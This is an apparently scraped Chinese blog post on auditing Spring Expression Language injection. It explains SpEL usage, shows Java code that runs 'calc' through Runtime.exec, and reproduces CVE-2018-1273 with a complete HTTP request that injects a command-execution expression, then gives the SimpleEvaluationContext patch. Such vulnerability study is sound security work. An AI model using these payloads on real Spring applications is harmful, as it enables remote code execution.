当前位置: 首页 > news >正文

代码审计-springel表达式注入

一、关于springel表达式
常见的spring框架Spring Framework、Spring Security、Spring Boot、Spring Cloud等。Spring Framework为spring基础框架,Spring Boot基于Spring Framework默认集成了嵌入式 Tomcat,支持快速集成第三方开发组件(如MyBatis),Spring Security用于实现认证和授权,以及访问控制的安全框架(对标apache shiro框架,shiro轻量级),Spring Cloud微服务架构。
在Spring 3引入Spring表达式语言(Spring Expression Language,简称 SpEL)可基于XML、注解的Spring配置还有bean定义一起使用。 SpEL是单独模块,只依赖于core模块,不依赖于其他模块,可以单独使用,SpEL是以API接口的形式创建的,允许将其集成到其他应用程序和框架中。
二、springel 常见用法
el使用 #{} 作为定界符,所有在大括号中的字符都将被认为是SpEL表达式,在其中可以使用 SpEL运算符、变量、引用bean及其属性和方法等。#{}是SpEL的定界符,用于指明SpEL表达式并执行;${} 主要用于加载外部属性文件中的值。#{} 和 ${} 可以混合使用,但是必须 #{} 在外面,${} 在里面,如 #{’${}’},注意单引号是字符串类型才添加的。

1.简单使用
使用T(Type)运算符会调用类的作用域和方法,相当于实例化,type必须是全路径。
读取value和执行命令

import org.springframework.expression.EvaluationContext;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
public class SpringEl {public static void main(String[] args) {ExpressionParser parser = new SpelExpressionParser();//获取valueEvaluationContext context = new StandardEvaluationContext();context.setVariable("a", "value");String result1 = parser.parseExpression("#a").getValue(context, String.class);System.out.println(result1);//执行命令String expression2 = "T(java.lang.Runtime).getRuntime().exec('calc')";Class<Object> result2 = parser.parseExpression(expression2).getValue(Class.class);System.out.println(result2);}
}

2.基于注解使用
注解执行el语法,和外部加载配置文件的值

student2
import org.springframework.beans.factory.annotation.Value;public class Student2 {//基本类型赋值@Value("1")private String name;//SpEL表达式赋值@Value("#{1+1}")private int age;//获取properties配置文件中的值,需要在配置类上搭配@PropertySource注解@Value("${student2.sex}")private String sex;public String getName() {return name;}public void setName(String name) {this.name = name;}public int getAge() {return age;}public void setAge(int age) {this.age = age;}public String getSex() {return sex;}public void setSex(String sex) {this.sex = sex;}@Overridepublic String toString() {return "Student2{" +"name='" + name + '\'' +", age=" + age +", sex='" + sex + '\'' +'}';}public Student2(String name, int age, String sex){this.name = name;this.age = age;this.sex = sex;}public Student2(){}
}config.
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.PropertySource;@Configuration
@PropertySource(value={"classpath:/Student2.properties"})
public class MyConfig {@Beanpublic static Student2 student2() {return new Student2();}
}配置文件Student2.properties 
student2.sex=okspringel
import org.springframework.context.annotation.AnnotationConfigApplicationContext;
public class SpringEl {public static void main(String[] args) {AnnotationConfigApplicationContext applicationContext = new AnnotationConfigApplicationContext(MyConfig.class);Student2 student2 = (Student2) applicationContext.getBean("student2");System.out.println(student2);}
}

在这里插入图片描述
3.基于xml使用
简单点讲,就是xml可以用el表达式,调用后可执行

config.xml
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-4.0.xsd">
<bean id="Test" class="Test">
<property name="1" value="1"/>
//这里可执行el表达式
<property name="2" value="#{ T(java.lang.Math).random() * 10.0}"/>
<property name="3" value="3"/>
</bean>
</beans>Test
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;public class test {
public static void main(String[] args) {
ApplicationContext context = new ClassPathXmlApplicationContext("file:/config.xml");
Test Test= (Test) context.getBean("Test");
System.out.println(Test);
}
}

4.漏洞爆发点
EvaluationContext表示上下文环境,系统提供了2个接口实现类
SimpleEvaluationContext:仅支持SpEL语言语法的一个子集,不包括Java类型引用、构造函数和 bean引用。StandardEvaluationContext:支持全部SpEL语法。(不指定 EvaluationContext的情况下默认采用的是StandardEvaluationContext,漏洞爆发点)。

// 第一步 创建解析器:SpEL使用ExpressionParser接口表示解析器,提供SpelExpressionParser默认实现
ExpressionParser parser = new SpelExpressionParser();
// 第二步 解析表达式:使用ExpressionParser的parseExpression来解析相应的表达式为
Expression对象,这里调用concat方法进行拼接
Expression expression = parser.parseExpression("('Hello' + ' World').concat(#end)");
// 第三步 构造上下文:准备比如变量定义等等表达式需要的上下文数据,EvaluationContext替换成SimpleEvaluationContext可指定接口可修复漏洞,EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end", "!");
// 第四步 求值:通过Expression接口的getValue方法根据上下文获得表达式值
System.out.println(expression.getValue(context));

三、复现漏洞-CVE-2018-1273

poc:
POST /users?page=&size=5 HTTP/1.1
Host: 192.168.0.8:8080
Content-Length: 131
Cache-Control: max-age=0
Origin: http://192.168.0.8:8080
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.8:8080/users/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: closeusername[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")]=admin&password=123321&repeatedPassword=123321

在这里插入图片描述

漏洞分析:
获取propertyName属性
在这里插入图片描述
进入else分支后,添加expression表达式
在这里插入图片描述
通过setvalue执行
在这里插入图片描述
进一步调试发现实际上也是通过反射执行命令
在这里插入图片描述
补丁分析:
将StandardEvaluationContext替代为SimpleEvaluationContext可修复此漏洞

http://www.lryc.cn/news/583086.html

相关文章:

  • JSP动态网页开发基础
  • 前后端集合如何传递
  • 主流大模型Agent框架 AutoGPT详解
  • thinkphp使用redis抢单实例
  • 如何将华为手机中的照片传输到电脑
  • 超越公有云:在裸金属服务器上构建低成本、高性能的静态资源服务
  • 【RK3568+PG2L50H开发板实验例程】FPGA部分 | Pango 的时钟资源——锁相环
  • 川翔云电脑:突破硬件极限,重构设计生产力范式
  • 使用DDR4控制器实现多通道数据读写(十九)
  • Amazon S3 对象存储服务深度解析:存储原理、应用场景与实战指南
  • 1.1 ARMv8/ARMv9安全扩展
  • ReactNative【实战】轮播图(含组件封装 ImageSlider)
  • 洛谷P1044 栈(学习向)
  • react16-react19都更新哪些内容?
  • clickhouse 各个引擎适用的场景
  • 【TCP/IP】2. 计算机网络与因特网体系结构
  • 手机文件夹隐藏工具,一键保护隐私
  • 数据库性能优化指南:解决ORDER BY导致的查询性能问题( SQL Server )
  • Dify 文本语意识别与自动补全工作流
  • MyBatisPlus-03-扩展功能
  • C#基础篇(11)泛型类与泛型方法详解
  • 1068.产品销售分析Ⅰ
  • huggingface 笔记: Trainer
  • 打造自己的组件库(二)CSS工程化方案
  • 跨服务sqlplus连接oracle数据库
  • 54页|PPT|新型数字政府综合解决方案:“一网 一云 一中台 N应用”平台体系 及“安全+运营”服务体系
  • 人工智能的基石:TensorFlow与PyTorch在图像识别和NLP中的应用
  • 影石(insta360)X4运动相机视频删除的恢复方法
  • 【视频观看系统】- 需求分析
  • 【DB2】load报错SQL3501W、SQL3109N、SQL2036N